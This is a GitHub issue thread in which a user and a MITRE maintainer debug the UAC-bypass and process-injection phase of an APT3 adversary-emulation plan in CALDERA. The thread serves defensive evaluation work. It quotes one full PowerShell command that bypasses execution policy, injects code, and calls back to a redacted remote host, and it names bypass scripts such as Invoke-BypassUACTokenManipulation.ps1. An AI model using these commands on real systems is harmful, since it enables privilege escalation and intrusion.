Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

APT3 CALDERA: Phase 9 - 3.A.1 Bypass User Account Control #25

Open
leegengyu opened this issue Oct 30, 2020 · 6 comments
Open

APT3 CALDERA: Phase 9 - 3.A.1 Bypass User Account Control #25

leegengyu opened this issue Oct 30, 2020 · 6 comments

Comments

@leegengyu
Copy link
Contributor

leegengyu commented Oct 30, 2020

First off, probably not the most appropriate place to post this question: I understand that this repository is targeted at APT29 (which is also pointed out at #24).

However,

  1. the mitre-attack/evals_caldera repository that originally catered just for APT3 is no longer active,
  2. I was informed at Plugin (Evals) - Pending Issues mitre/caldera#1843 that that repository was superseded by this one, and that
  3. an email to [email protected] told me that "most, if not all issues are actually a result of CALDERA versioning" when I asked about where I should direct queries relating to APT3 portions of CALDERA to.

If someone can point me to the right channel/person, that would be great!


This phase is not working out for me - I am getting a new Agent at the end of this particular phase, but it is one with medium-integrity only:

image

The output shows a successful one:

image

To temporarily get around this, I had swapped it out with Invoke-EnvBypass.ps1 - which gives me a high-integrity Agent at the end of this phase. However, with this new way of doing Phase 9, running the high-integrity Agent against 3.B-3.C did not work out as it always resulted in a timeout:
image

This was executed in a Windows v1803 machine (not v1903 like what was mentioned in mitre-attack/evals_caldera#1), with anti-virus disabled.

Anyway that I should debug this? Thank you!

@jcwilliamsATmitre
Copy link
Contributor

Hey @leegengyu!

This channel works for questions regarding Evals methodology, sorry about the confusion.

So as you've seen this privilege escalation takes place in 2 parts, in 3.A a token of a high-integrity process is stolen. This results in a new high integrity callback, but not running with full permissions. In 3.B we complete the priv esc but injecting into another high-integrity process (which would only be possible after the first elevation in 3.A).

Based on what you shared, I would double check that you have high-integrity processes running on the victim (maybe try 2, one for the token theft then another for the injection). This might explain why Invoke-EnvBypass.ps1 initially works but hangs during injection.

Let me know if that works, good luck!

@leegengyu
Copy link
Contributor Author

leegengyu commented Oct 31, 2020

Hey @jcwilliamsATmitre, thank you for getting back to me so quickly.

I opened another high-integrity process (chrome.exe in this case) on the target machine, upon your suggestion of checking that there are high-integrity processes running on it.

After doing so, using either the original Invoke-BypassUACTokenManipulation.ps1 payload or the Invoke-EnvBypass.ps1 payload (which I had used as replacement previously) resulted in the same events taken place below:

At this point when running 3.B, there is a new high-integrity agent callback (bdgtrs):
image

image

Not too long later, the original high-integrity agent from 3.A (usrwbb) dies when 3.B is seen to be running for the second time:
image

image

Not too long later, the new high-integrity agent from 3.B (bdgtrs) dies as well:
image

image


Leaving the following section below in this post for now - it was originally typed when using the Invoke-EnvBypass.ps1 payload, and without manually running a high-integrity process.

When 3.B was running, I noticed a 3rd powershell.exe appear for not too long, before it exited and was no longer seen:
image

image

Its full command line is powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\Invoke-PSInject.ps1 -Verbose -Force;Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\"Import-Module $env:APPDATA\update.ps1;update('http://[IP address snipped]:[port number snipped]')\"));Inject -PoshCode $pcode;"

After the 3rd powershell.exe disappeared, the timeout status could be seen from CALDERA (I edited my original post to show it).


Hope you might be able to shed some light on what had gone wrong! Thank you so much.

@leegengyu
Copy link
Contributor Author

I managed to solve the above issue of both the high-integrity Agent callbacks being dead after running 3.B for some time, by:

  • Duplicating the update.ps1 found in the Payloads directory as update2.ps1, changing -group diy_eval at line 28 to -group diy_eval2.
  • Changing the 3 references to update.ps1 in 3.B to update2.ps1.

The reason was that the new high-integrity Agent callback from a successful 3.B run previously had the same group label (diy_eval) as the high-integrity Agent callback from 3.A. As a result, the Operation ran the same step again using this new high-integrity Agent callback (which should not be the case), leading to its death.

Also, it should be noted that a successful execution of 3.B would require a manual check for a second high-integrity Agent, instead of the usual reliance on a green circle indicator (for success; which I had assumed would be the case for all correctly-executed steps). The circle would be showing the brown indicator (for collected) instead.


Still, I am puzzled as to why there is a need for me to additionally manually open a process with high-integrity for 3.A to work, when there are 3 existing high-integrity processes (procexp64.exe - which I had manually opened, ctfmon.exe, and conhost.exe) that were running before all of my (previously failed) attempts at running 3.A.

These 3 high-integrity processes were also correctly identified in the output of 3.A. Somehow, they only resulted in medium-integrity Agent callbacks.


This is deviating from the original issue, but could I ask if there is documentation lying anyway for the APT3 portions of the evals plugin please?

In its original repository at https://github.com/mitre-attack/evals_caldera, there is a link to "full documentation", which redirects to https://github.com/mitre/caldera/wiki. In that page, clicking on the sole link takes us to https://github.com/mitre/caldera/wiki/CALDERA. Clicking on the sole link inside that page takes us to the ReadTheDocs link at https://caldera.readthedocs.io/en/latest/. I have tried searching around, starting with the most obvious Plugin library section at https://caldera.readthedocs.io/en/latest/Plugin-library.html. However, I could not find any mention of the evals plugin around on that site.


Thank you so much!

@leegengyu
Copy link
Contributor Author

Hey @jcwilliamsATmitre, just a nudge on the above.

Hope to hear from you soon (at your convenience)! :) Thank you!

@jcwilliamsATmitre
Copy link
Contributor

Hey @leegengyu!

I apologize for the delay. I am glad to see that you figured out the group label error! Regarding your question about high-integrity processes, when using Invoke-BypassUACTokenManipulation.ps1 we recommend manually opening a high-integrity process from the session of the victim to ensure the script has a process it will be able to access. As you said, depending on your host you may not need it though.

I will ask around to see if there's something else we can share, but https://github.com/mitre-attack/evals_caldera should be the authoritative documentation. Since that plugin was designed for an older version (2.3.2 I believe) it may not be included in the latest CALDERA documentation.

@leegengyu
Copy link
Contributor Author

Hey @jcwilliamsATmitre!

Thank you for explaining about the recommendation for manually opening a high-integrity process.

Sure. If there's any way that we can have access to any archived documentation, I think that will be of great help. Thank you so much!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants